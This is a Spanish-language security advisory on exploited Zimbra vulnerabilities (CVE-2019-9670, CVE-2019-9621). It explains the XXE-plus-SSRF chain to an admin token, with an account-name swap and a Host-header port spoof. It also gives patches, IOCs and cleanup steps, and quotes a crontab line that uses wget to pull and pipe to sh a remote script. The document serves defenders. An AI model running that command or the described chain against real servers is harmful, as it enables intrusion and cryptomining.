Vulnerabilidad CRITICA Zimbra

Descripción

Se ha detectado la explotación masiva de múltiples vulnerabilidades (CVE-2019-9670 y CVE-2019-9621) de componentes de Zimbra Colaboration Suite (ZCS), que derivan en ejecución de código remoto en el servidor de mail.

Una vez que el servidor es vulnerado, los atacantes logran ejecutar código con permiso del usuario administrador de Zimbra, viéndose entre otras actividades la publicación de web shells y uso de recursos del sistema para minado de criptomonedas.

Versiones afectadas

Zimbra Collaboration Suite desde la versión 8.5 a la 8.8.11

Parches para las versiones afectadas:

- 8.8.11 Patch 4
- 8.8.10 Patch 8
- 8.7.11 Patch 11
- 8.6.0 Patch 14
- 8.5.x No hay parches oficiales dado que esta fuera de soporte

Desarrollo

A continuación se describen brevemente las vulnerabilidades utilizadas durante los ataques y cuál es el flujo entre las mismas que desencadenan este resultado.

Vulnerabilidades:

La vulnerabilidad CVE-2019-9670 se da en el manejo de los request “Autodiscover” de Zimbra, desde las versiones 8.5 a la 8.7.11, el cual realiza un bypass del sanitizado de los documento XHTML, derivando en un XXE[1].

Zimbra utiliza como parte de su mecanismo de autorización la gestión de los privilegios de los usuarios mediante tokens; permitiendo la utilización de un token con permisos de ‘admin’ solamente si los Requests provienen del puerto administrativo (puerto 7071). Para evadir este control, los atacantes explotan una segunda vulnerabilidad (CVE-2019-9621) del tipo SSRF. Esta vulnerabilidad permite falsificar el puerto utilizado en los headers del Request del atacante, simulando provenir desde el puerto 7071. El componente afectado es el ProxyServlet de Zimbra, este requiere que que las solicitudes sean realizadas por un token válido, esta funcionalidad es utilizada para solicitar un token con permisos administrativos privilegiados.

Contexto:

Zimbra utiliza ampliamente el codificado XML para el manejo tanto de sus operaciones externas como internas, las tres vulnerabilidad están catalogadas como XML External Entity (*XXE*)

La vulnerabilidad CVE-2016-9924 encontrada en 2016 hace referencia a un bug encontrado en el manejo del protocolo XMPP particularmente en SoapEngine.chooseFaultProtocolFromBadXml() el cual ocurre al realizar un parseo invalido de una solicitud XML. Este bug se encontraba en todas las versiones Zimbra por debajo de la versión 8.7.4, sin embargo, no era posible extraer la respuesta HTTP de la explotación del mismo.

Existe un usuario global utilizado por Zimbra para sus comunicaciones internas del tipo SOAP, este usuario es llamado “zimbra” y su contraseña es generada aleatoriamente al realizarse la instalación, estas credenciales son guardadas en el archivo de configuración localconfig.xml. Esto permite a los atacantes a través de la explotación de la vulnerabilidad CVE-2019-9670 leer dicho archivo y por consiguiente la clave asociada al usuario.

Los tokens de autenticación utilizados para las cuentas administrativas, solo son provistos si la solicitud se realiza hacia el puerto 7071 (puerto de administración de Zimbra). A priori, esto da indicios de que si el puerto de administración no está publicado a Internet, entonces no es posible la ejecución de código, sin embargo la vulnerabilidad CVE-2019-9621 permite evitar esto.

Zimbra cuenta con un servlet llamado ProxyServlet.doProxy() el cual permite, como su nombre indica, actuar de proxy para una solicitud. Este servicio es accesible desde la web y su acceso es público. Si bien el uso de este servicio tiene como protección adicional que solo sea utilizado por una serie de dominios determinados en una whitelist, esta restricción no aplica si la solicitud es realizada desde una cuenta con permisos administrativos.

Zimbra tiene la característica que permite generar un token para un usuario normal, pero es posible modificar el cuerpo de la solicitud para que en vez de utilizar un usuario normal, soliciten el del usuario global zimbra.

...<account by="name">**normaluser**</account>...
a:

...<account by="adminName">**zimbra**</account>...

El atacante conoce la clave para este usuario tras leer el archivo localconfig.xml y si bien este método puede devolver un token válido para el usuario zimbra, el mismo no contiene los flags correspondientes a permisos de administración ya que no se realizó la solicitud desde el puerto 7071.

Sin embargo, la solicitud de un token con permisos administrativos cuenta con debilidades, en principio debe ser realizada desde el puerto 7071, pero la validación se realiza utilizando la devolución del método “ServletRequest.getServerPort()” el cual

puede ser modificado por el atacante (la sección luego de los : para determinar el puerto en el header Host).

Como se detallaba previamente es posible saltar la protección de la whitelist del proxy si la solicitud es realizada por un usuario administrador, además es posible falsear el puerto especificado por los hearders del requests. Con estas condiciones el atacante cuenta con lo necesario para solicitar un token con permisos administrativos privilegiados(cuenta con una cookie de sesión válida para el usuario zimbra generada por el método AuthRequest).

Una vez obtenido token privilegiado del usuario administrado zimbra, el atacante puede utilizar la extensión de subida de archivos para por ejemplo subir al servidor una shell reversa.

Recomendaciones

Comprobar su servidor:

A continuación se detalla el comportamiento identificado en los servidores comprometidos con el objetivo de que los administradores puedan tomar como referencia para el análisis.

Los compromisos identificados se produjeron a partir del 26 de Marzo del 2019, por lo que se insta a buscar en los servidores, archivos creados y/o modificados luego de esta fecha. Las modificaciones identificados se distinguen en dos grupos:

- Ejecución de malware/artefactos
  - Subida de archivos a las siguientes rutas:
    - /tmp
    - /var/tmp
  - El artefacto principal identificado es un binario bajo el nombre ‘zmcat’ utilizado, acorde con VirusTotal, para el minado de criptomonedas.
- Persistencia
  - Subida de scripts bash para la persistencia del compromiso con los nombres “s.sh”, “l.sh”, “cr.sh”, “r.sh”, “zz.sh” en las siguientes rutas:
    - /tmp
    - /var/tmp
  - Subida de webshells JSP en rutas públicas de Zimbra, accesibles desde Internet. El nombre de las webshells identificadas siempre están compuestas por strings de 4 caracteres (alfanuméricos) con las extensiones “.jsp”, “_jsp.class”, “_jsp.java”. Estos se identificaron el las siguientes rutas:
    - /opt/zimbra/jetty/work/zimbra/org/apache/jsp/downloads/
    - /opt/zimbra/jetty/work/zimbra/org/apache/jsp/img/
    - /opt/zimbra/jetty/webapps/zimbra/downloads/
    - /opt/zimbra/jetty/webapps/zimbra/img/
  - Edición del crontab ejecutado por el usuario Zimbra agregando una linea al final del mismo del formato:
    - wget -q -O – http://xxx.xxx.xxx.xxx:443/cr.sh | sh > /dev/null 2>&1

Es necesario además realizar un análisis de los procesos en ejecución, principalmente en búsqueda de scripts de bash o el binario 'zmcat', esos siendo ejecutados por el usuario "zimbra".

Dado que los niveles de compromiso identificados conllevan la ejecución de scripts a nivel de sistema operativo y permisos de administrador en Zimbra, se recomienda migrar a una instalación fresca de Zimbra con el último parche disponible instalado, así como cambiar las contraseñas del ldap Zimbra y mysql.

Mitigación de la vulnerabilidad:

En caso de no identificar un compromiso del servidor de mails, se recomienda actualizar cuanto antes al parche o versión correspondiente de su plataforma según lo indica Zimbra:

8.5: Esta versión fuera de soporte, por lo que se recomienda la migración a una nueva versión. De requerir tiempo para la migración, se debe analizar la viabilidad de colocar el webmail detrás de un Web Application Firewall (WAF) y realizar un virtual patching. Otra alternativa para minimizar el riesgo de exposición es publicar el webmail solo para la red interna.
8.6: Actualizar a por lo menos parche 13
8.7: Actualizar a 8.7.11 parche 10
8.8.11 Actualizar a parche 3

Indicadores de Compromiso

Direcciones IP:

```
103.10.62.174
104.168.158.113
104.168.170.48
167.160.86.103
181.112.138.130
182.23.9.50
185.23.113.13
50.80.168.168
89.221.52.114
93.113.108.146
```

Hash de artefactos identificados:

```
14bf3511478a2e58dcedd7d799441491c52257a0
21749c4a3c13eeb7415346f2b019d5d3019fc364
2ae9f6485e669459c3d58d8b893f8c6087cb46a4
30f6a598bf095bc53ce72496654b1f4320f17b90
39d789f7f6ac6aa37eeb1feee3fbc45885965a33
460a63abbedf27917470b12fcccbdcc7a93283c6
58bac8d19d78fe2d2b844f61e022446294d6a5af
58f199fef86ac0c1f8039b0f9965cb09ad563baf
7da59487113c8af48e60022c331aa213364bdce2
81454903e212ef754b7fdfb422eee9a768e3d549
ac8e7450807b23bfaf6b9561ff3b3f56b8ce5925
d0078c7286bed4844d04aee1ccd54f4067080a87
e2ae0b48bc4394ccaf9bc13f8e6f3b89bce23025
```

```
f5aabe72465d02a95127a25b5a1338267b239444
fbe162e35757550471d282b1099f90e714b49c4e
```

Enlaces de interés

https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.11/P4
https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.10/P8
https://wiki.zimbra.com/wiki/Zimbra_Releases/8.7.11/P11
https://wiki.zimbra.com/wiki/Zimbra_Releases/8.6.0/P14

[1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing.

https://lorenzo.mile.si/zimbra-cve-2019-9670-being-actively-exploited-how-to-clean-the-zmcat-infection/961/
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html